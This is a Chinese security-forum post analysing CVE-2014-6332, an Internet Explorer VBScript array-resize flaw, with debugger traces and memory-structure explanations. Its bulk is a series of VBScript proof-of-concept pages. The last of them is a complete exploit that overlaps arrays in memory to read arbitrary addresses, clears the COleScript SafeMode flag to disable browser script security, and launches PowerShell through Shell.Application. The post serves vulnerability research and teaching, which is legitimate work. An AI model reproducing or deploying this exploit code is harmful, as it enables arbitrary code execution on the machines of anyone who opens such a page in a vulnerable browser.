首页
论坛
专栏
课程

[原创]CVE-2014-6332 修改浏览器安全属性开启Godmode

2018-12-7 21:15 3836

[原创]CVE-2014-6332 修改浏览器安全属性开启Godmode

2018-12-7 21:15
3836

前言

这个漏洞是VBS脚本尝试重定义数组大小时,关于数组长度的数值设置不正确导致的,通过该漏洞可以造成越界读写内存以及代码执行,漏洞影响的范围是Win95+Ie3-Win10+Ie11,win95是1995年发布的,漏洞修复的时间是2014年,这个漏洞隐藏了差不多20年,可以说不光影响时间长,而且范围还很广。

实验环境

操作系统:Windows 7 sp1 32位

浏览器:IE10.0.9200.16438

调试器: IDA、windbg、x64dbg


漏洞分析


下面是我自己修改的一份简单的poc,为了方便调试

<!doctype html>
<html>
<title>CVE-2014-6332 POC</title>
<body>
<SCRIPT LANGUAGE="VBScript">
dim   arrayA()		'定义动态数组
dim   arrayB()
dim   arraySize
dim   overSize
dim   index
dim   myarray

function Begin()
	On Error Resume Next
	BeginInit()
  	Over()
end function

function Over()
    On Error Resume Next
    dim type1
    Over = False

    '根据BeginInit函数生成的 arraySize index 重新设置arraySize
    arraySize = arraySize + index
    ' 计算出一个过大的数值 用来重新设置数组大小 如果被成功的设置 将会赋予数组越界读写的能力
    overSize = arraySize + &h8000000
    
    redim  Preserve arrayA(arraySize) 
    redim  arrayB(arraySize)
    ‘可以把下面这条代码理解为开启越界读写功能
    redim  Preserve arrayA(overSize)
    arrayA(arraySize + 1) = 15

end function

function BeginInit()
   
   '初始化随机数种子
   Randomize()
   '初始化数组的大小
   redim arrayA(5)
   redim arrayB(5)

   'arraySize 13 - 30
   arraySize = 13 + 17 * rnd(6)
   'index 7 - 10
   index = 7 + 3 * rnd(5)
end function

'调用触发函数

Msgbox "waiting for debug"

Begin()

</script>
</body>
</html>

windbg开启堆调试支持:

打开cmd输入gflags.exe /i iexplore.exe +hpa


windbg附加IE运行poc时异常信息:

异常时eip = 66bd1a87,看指令就知道是读取esi内存时出错了,下面再看下esi指向的内存是哪里申请的

vbscript!AssignVar:
66bd1a70 8bff            mov     edi,edi
66bd1a72 55              push    ebp
66bd1a73 8bec            mov     ebp,esp
66bd1a75 83e4f8          and     esp,0FFFFFFF8h
66bd1a78 83ec24          sub     esp,24h
66bd1a7b 53              push    ebx
66bd1a7c 56              push    esi
66bd1a7d 8bf2            mov     esi,edx
66bd1a7f bb0c400000      mov     ebx,400Ch
66bd1a84 57              push    edi
66bd1a85 8bf9            mov     edi,ecx
66bd1a87 66391e          cmp     word ptr [esi],bx        ds:0023:080d1000=????
66bd1a8a 0f84d58c0100    je      vbscript!AssignVar+0x211 (66bea765)
66bd1a90 66391f          cmp     word ptr [edi],bx
66bd1a93 0f8411640100    je      vbscript!AssignVar+0x1ca (66be7eaa)
66bd1a99 b90c600000      mov     ecx,600Ch

通过!heap -p -a esi,可以看到是vbscript模块的RedimPreserveArray申请的
(cb0.724): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=0000400c ecx=06bbbf10 edx=080d1000 esi=080d1000 edi=06bbbf10
eip=66bd1a87 esp=05a2b110 ebp=05a2b144 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
vbscript!AssignVar+0x17:
66bd1a87 66391e          cmp     word ptr [esi],bx        ds:0023:080d1000=????
0:008> !heap -p -a esi
    address 080d1000 found in
    _DPH_HEAP_ROOT @ 61000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 92f171c:          80d0e80              180 -          80d0000             2000
    6b2b8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    6b2b92b2 verifier!AVrfDebugPageHeapReAllocate+0x000001a2
    77016153 ntdll!RtlDebugReAllocateHeap+0x00000033
    76fde46c ntdll!RtlReAllocateHeap+0x00000054
    764dee32 ole32!CRetailMalloc_Realloc+0x00000025
    760ced3c OLEAUT32!SafeArrayRedim+0x00000153
    66c04774 vbscript!RedimPreserveArray+0x0000003d
    66c04c7c vbscript!CScriptRuntime::RunNoEH+0x00004061
    66bd5c2c vbscript!CScriptRuntime::Run+0x000000c4
    66bd5b48 vbscript!CScriptEntryPoint::Call+0x0000010b
    66bedd87 vbscript!CScriptRuntime::RunNoEH+0x00002b6e
    66bd5c2c vbscript!CScriptRuntime::Run+0x000000c4
    66bd5b48 vbscript!CScriptEntryPoint::Call+0x0000010b
    66bedd87 vbscript!CScriptRuntime::RunNoEH+0x00002b6e

下面是当前栈回溯信息

0:008> kv
ChildEBP RetAddr  Args to Child              
05a2b144 66be7cbc 097cef88 05a2b560 05a2b9c8 vbscript!AssignVar+0x17 (FPO: [1,9,4])
05a2b4f0 66bd5c2c 05a2b560 05a2b9c8 1fc41f1a vbscript!CScriptRuntime::RunNoEH+0x38d4 (FPO: [Non-Fpo])
05a2b544 66bd5b48 05a2b560 05a2bb30 0981ffe0 vbscript!CScriptRuntime::Run+0xc4 (FPO: [SEH])
05a2b654 66bedd87 05a2b9c8 00000000 06bbbf50 vbscript!CScriptEntryPoint::Call+0x10b (FPO: [5,61,4])
05a2ba10 66bd5c2c 05a2ba80 05a2bee8 1fc4103a vbscript!CScriptRuntime::RunNoEH+0x2b6e (FPO: [Non-Fpo])
05a2ba64 66bd5b48 05a2ba80 05a2c050 06bbdfe0 vbscript!CScriptRuntime::Run+0xc4 (FPO: [SEH])
05a2bb74 66bedd87 05a2bee8 00000000 06bbbf70 vbscript!CScriptEntryPoint::Call+0x10b (FPO: [5,61,4])

IDA分析内存申请:

经过上面分析,内存是 RedimPreserveArray 函数申请的,在函数中又调用了oleaut32模块中的SafeArrayRedim函数实现内存重新分配,先对参数做一次分析得知,第一个参数类型是SAFEARRAY,第二个参数类型是SAFEARRAYBOUND,前者是待调整的数组,后者是待调整的数组大小。


SAFEARRAY用来描述数组的详细信息

typedef struct tagSAFEARRAY
{
    USHORT cDims;                      //标识维度
    USHORT fFeatures;                //数组特性
    ULONG cbElements;                //数组元素大小
    ULONG cLocks;                        //锁定计数
    PVOID pvData;                         //数组数据
    SAFEARRAYBOUND rgsabound[ 1 ];        //数组下标信息
}SAFEARRAY;


SAFEARRAYBOUND用来描述数组下标详细信息

typedef struct tagSAFEARRAYBOUND
{
    ULONG cElements;        //数组最大下标
    LONG lLbound;            //数组下标
} SAFEARRAYBOUND;


关闭堆调试支持使用x64dbg分析:

打开cmd输入gflags.exe /i iexplore.exe -hpa 关闭堆调试支持


x64dbg下载符号表:

运行poc用x64dbg附加先下载符号表


符号表下载完成后重启POC再次附加,对0x6A8E476E处下断,断下来后观察ESI指向的结构,pvData字段在偏移0xC处,紧随其后是0x00000006,一看就是描述数组长度的数据,暂且给其后的数据起名为dataSize吧,pvData = 0x0297DEF0 ,dataSize = 0x6。



再观察下eax指向的内存,其中存着0x1D,那么现在确定待调整的大小是0x1D


F8后再观察SAFEARRAY,这时pvData变成了 0x0298DDE0,之前是 0x0297DEF0 ,大小也变成了预期的0x1D


下面结合poc代码看一下,调试器现在断在第一次调整arrayA的时候,按F9后再断下来一次就是第二次调整了


在第二次断到SafeArrayRedim,可以看到调整的大小是0x0800001D,这是一个超大的数值,内存是肯定申请不到的,那么接下来看下ESI指向的SAFEARRAY


当前的pvData是0x0298DDE0,大小是0x1D,那么直接F8看接下来的表现


F8后数组大小被改变了,但是数组首地址却没有变,这时候其实是重定义数组大小失败了,在执行SafeArrayRedim前对HeapAlloc下断调试下就知道了, HeapAlloc 申请大小为0x0800001D的内存时会返回失败,因为这个空间太大了,可以想象这时候数组真正占用的空间其实时0x1D,而由于在校验申请内存的成功或之前就过早的更改了数组长度,现在的长度已经被改成了 0x0800001D ,这也就说明这个数组读写的范围可以在0-0x0800001D之间,这明显越界读写了,关于在执行 SafeArrayRedim 函数时HeapAlloc申请内存失败的过程,各位看官可以自己动手调试下,现在漏洞成因清楚了,那么就可以开始接下来的利用环节了。


漏洞利用

在利用前还需要对VARIANT这个结构有所了解,因为VBS虚拟机往数组中存储数据时,默认使用VARIANT结构来存储,在脚本语言和com组件中,这个结构会被比较频繁的使用到,记得多年前用VBS写脚本调用C++的com组件时,组建接口参数类型就使用了 VARIANT, 为什么使用 VARIANT呢?因为不同类型的数据都可以用VARIANT这个结构来存储,这样接口就非常的灵活,以下是VBS虚拟机使用的VARIANT结构体。

struct tagVARIANT {
     union {
         struct __tagVARIANT {
             VARTYPE vt;
             WORD     wReserved1;
             WORD     wReserved2;
             WORD     wReserved3;
             union {
                 ULONGLONG      ullVal;        /* VT_UI8                */
                 LONGLONG       llVal;         /* VT_I8                 */
                 LONG           lVal;          /* VT_I4                 */
                 BYTE           bVal;          /* VT_UI1                */
                 SHORT          iVal;          /* VT_I2                 */
                 FLOAT          fltVal;        /* VT_R4                 */
                 DOUBLE         dblVal;        /* VT_R8                 */
                 VARIANT_BOOL   boolVal;       /* VT_BOOL               */
                 _VARIANT_BOOL bool;          /* (obsolete)            */
                 SCODE          scode;         /* VT_ERROR              */
                 CY             cyVal;         /* VT_CY                 */
                 DATE           date;          /* VT_DATE               */
                 BSTR           bstrVal;       /* VT_BSTR               */
                 IUnknown *     punkVal;       /* VT_UNKNOWN            */
                 IDispatch *    pdispVal;      /* VT_DISPATCH           */
                 SAFEARRAY *    parray;        /* VT_ARRAY              */
                 BYTE *         pbVal;         /* VT_BYREF|VT_UI1       */
                 SHORT *        piVal;         /* VT_BYREF|VT_I2        */
                 LONG *         plVal;         /* VT_BYREF|VT_I4        */
                 LONGLONG *     pllVal;        /* VT_BYREF|VT_I8        */
                 FLOAT *        pfltVal;       /* VT_BYREF|VT_R4        */
                 DOUBLE *       pdblVal;       /* VT_BYREF|VT_R8        */
                 VARIANT_BOOL *pboolVal;      /* VT_BYREF|VT_BOOL      */
                 _VARIANT_BOOL *pbool;        /* (obsolete)            */
                 SCODE *        pscode;        /* VT_BYREF|VT_ERROR     */
                 CY *           pcyVal;        /* VT_BYREF|VT_CY        */
                 DATE *         pdate;         /* VT_BYREF|VT_DATE      */
                 BSTR *         pbstrVal;      /* VT_BYREF|VT_BSTR      */
                 IUnknown **    ppunkVal;      /* VT_BYREF|VT_UNKNOWN   */
                 IDispatch **   ppdispVal;     /* VT_BYREF|VT_DISPATCH */
                 SAFEARRAY **   pparray;       /* VT_BYREF|VT_ARRAY     */
                 VARIANT *      pvarVal;       /* VT_BYREF|VT_VARIANT   */
                 PVOID          byref;         /* Generic ByRef         */
                 CHAR           cVal;          /* VT_I1                 */
                 USHORT         uiVal;         /* VT_UI2                */
                 ULONG          ulVal;         /* VT_UI4                */
                 INT            intVal;        /* VT_INT                */
                 UINT           uintVal;       /* VT_UINT               */
                 DECIMAL *      pdecVal;       /* VT_BYREF|VT_DECIMAL   */
                 CHAR *         pcVal;         /* VT_BYREF|VT_I1        */
                 USHORT *       puiVal;        /* VT_BYREF|VT_UI2       */
                 ULONG *        pulVal;        /* VT_BYREF|VT_UI4       */
                 ULONGLONG *    pullVal;       /* VT_BYREF|VT_UI8       */
                 INT *          pintVal;       /* VT_BYREF|VT_INT       */
                 UINT *         puintVal;      /* VT_BYREF|VT_UINT      */
                 struct __tagBRECORD {
                     PVOID          pvRecord;
                     IRecordInfo * pRecInfo;
                 } __VARIANT_NAME_4;          /* VT_RECORD             */
             } __VARIANT_NAME_3;
         } __VARIANT_NAME_2;
         DECIMAL decVal;
     } __VARIANT_NAME_1;
};
vt字段描述了数据的类型,wReserved1 - wReserved3保留, 变量数据 存储在联合体中。

以下是vt字段的枚举类型:
enum VARENUM
{
        VT_EMPTY	= 0,
        VT_NULL	= 1,
        VT_I2	= 2,
        VT_I4	= 3,
        VT_R4	= 4,
        VT_R8	= 5,
        VT_CY	= 6,
        VT_DATE	= 7,
        VT_BSTR	= 8,
        VT_DISPATCH	= 9,
        VT_ERROR	= 10,
        VT_BOOL	= 11,
        VT_VARIANT	= 12,
        VT_UNKNOWN	= 13,
        VT_DECIMAL	= 14,
        VT_I1	= 16,
        VT_UI1	= 17,
        VT_UI2	= 18,
        VT_UI4	= 19,
        VT_I8	= 20,
        VT_UI8	= 21,
        VT_INT	= 22,
        VT_UINT	= 23,
        VT_VOID	= 24,
        VT_HRESULT	= 25,
        VT_PTR	= 26,
        VT_SAFEARRAY	= 27,
        VT_CARRAY	= 28,
        VT_USERDEFINED	= 29,
        VT_LPSTR	= 30,
        VT_LPWSTR	= 31,
        VT_RECORD	= 36,
        VT_INT_PTR	= 37,
        VT_UINT_PTR	= 38,
        VT_FILETIME	= 64,
        VT_BLOB	= 65,
        VT_STREAM	= 66,
        VT_STORAGE	= 67,
        VT_STREAMED_OBJECT	= 68,
        VT_STORED_OBJECT	= 69,
        VT_BLOB_OBJECT	= 70,
        VT_CF	= 71,
        VT_CLSID	= 72,
        VT_VERSIONED_STREAM	= 73,
        VT_BSTR_BLOB	= 0xfff,
        VT_VECTOR	= 0x1000,
        VT_ARRAY	= 0x2000,
        VT_BYREF	= 0x4000,
        VT_RESERVED	= 0x8000,
        VT_ILLEGAL	= 0xffff,
        VT_ILLEGALMASKED	= 0xfff,
        VT_TYPEMASK	= 0xfff
} ;

通过参考VBS虚拟机使用的枚举类型得知当vt = 2时变量的类型为一个short,vt = 3时变量的类型为Long,在这里重点关注的就是short和long型变量,因为在后面的利用过程中就使用了越界读写去改变VARIANT结构中的数据类型 。

现在对数据结构有一定的了解了,还需要动手调试下VBS数组在内存中的布局,在调试前需要稍微修改下poc中的Over函数,在函数中添加一个弹框来给调试提供便利,弹框后是对arrayA这个数组赋值,索引分别是1、2、3

function Over()
    On Error Resume Next
    dim type1
    Over = False

    '根据BeginInit函数生成的 arraySize index 重新设置arraySize
    arraySize = arraySize + index
    ' 计算出一个过大的数值 用来重新设置数组大小 如果被成功的设置 将会赋予数组越界读写的能力
    overSize = arraySize + &h8000000
    
    redim  Preserve arrayA(arraySize) 
    redim  arrayB(arraySize)
    redim  Preserve arrayA(overSize)

    Msgbox "test"
    
    arrayA(1) = 1
    arrayA(2) = 2
    arrayA(3) = 2

    arrayA(arraySize + 1) = 15

end function

修改poc后用IE运行,等待弹出"test"消息框后附加


在VBS模块中对数组或变量的赋值是由函数AssignVar函数来完成的


现在用x64dbg对AssignVar函数地址0x6AA01B0E下断,断下来后看下各个寄存器以及内存情况


F8执行到0x6AA01B29处,这时已经完成VARIANT的拷贝了,现在可以观察下esi指向的内存


arrayA(3) = 2执行完成后,可以看到内存布局变成下面这样了


有了上面的信息作为铺垫后,接下来就再稍微修改下poc构造一个可以利用的内存布局,并获取CScriptEntryPoint对象

<!doctype html>
<html>
<title>CVE-2014-6332 POC</title>
<body>

<SCRIPT LANGUAGE="VBScript">

dim   arrayA()		'定义动态数组
dim   arrayB()
dim   arraySize
dim   overSize
dim   index
dim   myarray

function Begin()
	On Error Resume Next
	BeginInit()
        
  	If CreateArray() = True Then
     		Trigger()
  	end if

end function

function Trigger()
    On Error Resume Next
    
    myarray = chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
    myarray = myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
    
    pCScriptEntryPoint = setCScriptEntryPoint()

end function

sub test()
end sub

function setCScriptEntryPoint()
     On Error Resume Next
     
     dim pVTable

     pScriptEntryPoint = test
     pScriptEntryPoint = null

     Msgbox "waiting for debug"

     redim  Preserve arrayA(overSize)
     arrayB(0) = 0
     arrayA(arraySize + 2) = pScriptEntryPoint

     arrayB(0) = 6.36598737437801E-314

     arrayA(arraySize + 4) = myarray
     arrayB(2) = 1.74088534731324E-310

     setCScriptEntryPoint = arrayA(arraySize + 2)

     redim  Preserve arrayA(arraySize)

end function 

function Over()
    On Error Resume Next
    dim type1
    Over = False
    
    '根据BeginInit函数生成的 arraySize index 重新设置arraySize
    arraySize = arraySize + index
    ' 计算出一个过大的数值 用来重新设置数组大小 如果被成功的设置 将会赋予数组越界读写的能力
    overSize = arraySize + &h8000000
    
    redim  Preserve arrayA(arraySize) 
    redim  arrayB(arraySize)
    
    redim  Preserve arrayA(overSize)
    arrayA(arraySize) = 10
    arrayB(0) = 1.123456789012345678901234567890
    type1 = 1
    
    '可见这样循环400次判断2F66 是为了 把arrayA和arrayB的内存撞到一起 让arrayA可以越界读写arrayB
    If (IsObject(arrayA(arraySize + 1)) = False) Then

        if(vartype(arrayA(arraySize + 1)) <> 0)  Then   
           If(IsObject(arrayA(arraySize + 2)) = False ) Then
               type1=VarType(arrayA(arraySize + 2))
           end if  
        end if

    end if
    
    If(type1=&h2f66) Then
          Over=True   
    else
    End If
    
    '恢复正常的数组大小
    redim  Preserve arrayA(arraySize)
    
end function

function CreateArray()
  On Error Resume Next
  dim i
  CreateArray = False

  For i = 0 To 400
    If Over() = True Then
       CreateArray = True
       Exit For
    End If 
  Next

end function


function BeginInit()
   
   '初始化随机数种子
   Randomize()
   '初始化数组的大小
   redim arrayA(5)
   redim arrayB(5)

   'arraySize 13 - 30
   arraySize = 13 + 17 * rnd(6)
   'index 7 - 10
   index = 7 + 3 * rnd(5)
end function


Begin()

</script>
</body>
</html>
在Over函数中,会通过重定义arrayA和arrayB的大小来刷新这两个数组的地址,然后判断arrayB是否在arrayA之下并且相邻,如果相邻就代表内存构造成功,之后调用setCScriptEntryPoint获取CScriptEntryPoint对象。


下面运行poc,观察下CScriptEntryPoint 对象的构造过程吧,首先看看执行arrayB(0) = 0 的时候,esi指向 arrayB(0) ,由于两个数组内存位置相邻,通过arrayB就可以算出arrayA


下面再看看arrayA(arraySize + 2) = pScriptEntryPoint这条代码写入CScriptEntryPoint对象,通过观察内存可以发现arrayBarrayA(arraySize + 2)的内存重叠了,此时arrayA(arraySize + 2)处虽然写入了对象地址,但是这个对象地址是无法利用的,因为变量的Type是1,1是VT_NULL,必须要将变量类型设置为VT_I4才能使用,由于arrayA和ArrayB是重叠的,那么只需要把arrayB(0)指向的VARIANT结构低64位构造成指定的数据就可以了,恰好写入浮点类型的数据可以满足这个要求


下面再看看执行arrayB(0) = 6.36598737437801E-314时,很明显数据类型被改成了 VT_I4,这样在VBS虚拟机读内存数据时才会读取4字节数据


现在还有个问题,CScriptEntryPoint 对象是怎么来的,怎么写入pScriptEntryPoint变量中的?那是因为在执行pScriptEntryPoint = test的时候,VBS虚拟机使用CScriptEntryPoint对象去检查这条语句不合法。为什么不合法呢?因为子程序的地址是不可以赋值给变量的,强行赋值给变量会产生一个错误,出错后CScriptEntryPoint被写入了CSession对象中,之后 pScriptEntryPoint = null 时,没有清掉CSession中保留的CScriptEntryPoint对象指针导致赋值时CScriptEntryPoint 被构造进了VARIANT结构。


这些任务完成后,就可以修改VBS在IE中的安全设置了,下面是完整的利用poc:

<!doctype html>
<html>
<title>CVE-2014-6332 POC</title>
<body>

<SCRIPT LANGUAGE="VBScript">

dim   arrayA()		'定义动态数组
dim   arrayB()
dim   arraySize
dim   overSize
dim   index
dim   myarray

function Begin()
	On Error Resume Next
	BeginInit()
        
  	If CreateArray() = True Then
     		Trigger()
  	end if

end function

function readMemory(addr) 
    On Error Resume Next
    redim  Preserve arrayA(overSize)
    
    arrayB(0) = 0
    arrayA(arraySize + 2) = addr + 4
    arrayB(0) = 1.69759663316747E-313
    readMemory = lenb(arrayA(arraySize + 2))
    arrayB(0) = 0    
    
    redim  Preserve arrayA(arraySize)
end function

function RunWin32Exe() 
	On Error Resume Next
	set shell=createobject("Shell.Application")
	shell.ShellExecute "powershell.exe"
end function


function Trigger()
    On Error Resume Next
    
    myarray = chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
    myarray = myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
    
    pCScriptEntryPoint = setCScriptEntryPoint()

    pAddr = readMemory(pCScriptEntryPoint + 8)
    pAddr = readMemory(pAddr + 16)
    result = readMemory(pAddr + &h134)
    
    for offset = 0 to &h60 step 4

        progId = readMemory(pAddr + &h120 + offset)
	if(progId = 14) then
              redim  Preserve arrayA(overSize)
	      '这里改了权限
     	      arrayA(arraySize + 4)(pAddr + &h11c + offset) = arrayB(4)
	      redim  Preserve arrayA(arraySize)
              Exit for
        end if
    next

    RunWin32Exe()

end function

sub test()
end sub

function setCScriptEntryPoint()
     On Error Resume Next
     
     dim pVTable

     pScriptEntryPoint = test
     pScriptEntryPoint = null
          Msgbox "waiting for debug"
     redim  Preserve arrayA(overSize)
     arrayB(0) = 0
     arrayA(arraySize + 2) = pScriptEntryPoint

     arrayB(0) = 6.36598737437801E-314

     arrayA(arraySize + 4) = myarray
     arrayB(2) = 1.74088534731324E-310

     setCScriptEntryPoint = arrayA(arraySize + 2)

     redim  Preserve arrayA(arraySize)

end function 

function Over()
    On Error Resume Next
    dim type1
    Over = False
    
    '根据BeginInit函数生成的 arraySize index 重新设置arraySize
    arraySize = arraySize + index
    ' 计算出一个过大的数值 用来重新设置数组大小 如果被成功的设置 将会赋予数组越界读写的能力
    overSize = arraySize + &h8000000
    
    redim  Preserve arrayA(arraySize) 
    redim  arrayB(arraySize)
    
    redim  Preserve arrayA(overSize)
    arrayA(arraySize) = 10
    arrayB(0) = 1.123456789012345678901234567890
    type1 = 1
    
    '可见这样循环400次判断2F66 是为了 把arrayA和arrayB的内存撞到一起 让arrayA可以越界读写arrayB
    If (IsObject(arrayA(arraySize + 1)) = False) Then

        if(vartype(arrayA(arraySize + 1)) <> 0)  Then   
           If(IsObject(arrayA(arraySize + 2)) = False ) Then
               type1=VarType(arrayA(arraySize + 2))
           end if  
        end if

    end if
    
    If(type1=&h2f66) Then
          Over=True   
    else
    End If
    
    '恢复正常的数组大小
    redim  Preserve arrayA(arraySize)
    
end function

function CreateArray()
  On Error Resume Next
  dim i
  CreateArray = False

  For i = 0 To 400
    If Over() = True Then
       CreateArray = True
       Exit For
    End If 
  Next

end function


function BeginInit()
   
   '初始化随机数种子
   Randomize()
   '初始化数组的大小
   redim arrayA(5)
   redim arrayB(5)

   'arraySize 13 - 30
   arraySize = 13 + 17 * rnd(6)
   'index 7 - 10
   index = 7 + 3 * rnd(5)
end function

Begin()

</script>
</body>
</html>

在获取到了CScriptEntryPoint后接着调用readMemory去读取内存,在readMemory中主要是调用vbs的lenb接口读取的数据,在这里不过多描述lenb这个接口。


运行这份完整利用poc,把弹框中的十进制地址转为16进制在内存中看看 pCScriptEntryPoint + 8 处,地址是0x023F90F0


再看看 0x023F90F0 +0x10 处,这就是苦苦寻找的COleScript对象了,通过修改它的SafeMode成员就可以绕过安全机制了


在拿到了 COleScript  的地址后,通过一个for循环在一定范围内搜索值为0xE的变量,找到后改为0就关掉了VBS在IE中的默认安全机制了


可以看到0xE在对象指针偏移0x174处


那么下面再IDA中看看COleScript 对偏移0x174处的引用 ,由于函数名时InSafeMode,那么这个成员变量就给他起名为SafeMode吧


在F9之后,期待的PowerShell弹出来了,利用到此结束


总结

这个漏洞首先是通过数组越界读写获得了可以 读写任意地址的能力,然后通过CScriptEntryPoint读取COleScript对象,再通过COleScript对象直接修改浏览器内存中VBS的默认安全标识符,让VBS脚本在创建shell对象时可以成功通过针对SafeMode标识符的安全检查。当Shell对象创建成功后,就可以顺利的启动PowerShell了,不得不说这招简直太暴力了!  最后感谢yuange1975提供的poc!




[招聘]欢迎市场人员加入看雪学院团队!

最后于 2019-1-11 19:20 被kanxue编辑 ,原因:
最新回复 (3)
Editor 2018-12-10 09:36
2
0
感谢分享!
天地豪迈 2018-12-11 15:45
3
0
牛!
junkboy 2019-1-11 20:08
4
0
#寻宝大战#祝看雪19岁快乐!
游客
登录 | 注册 方可回帖
返回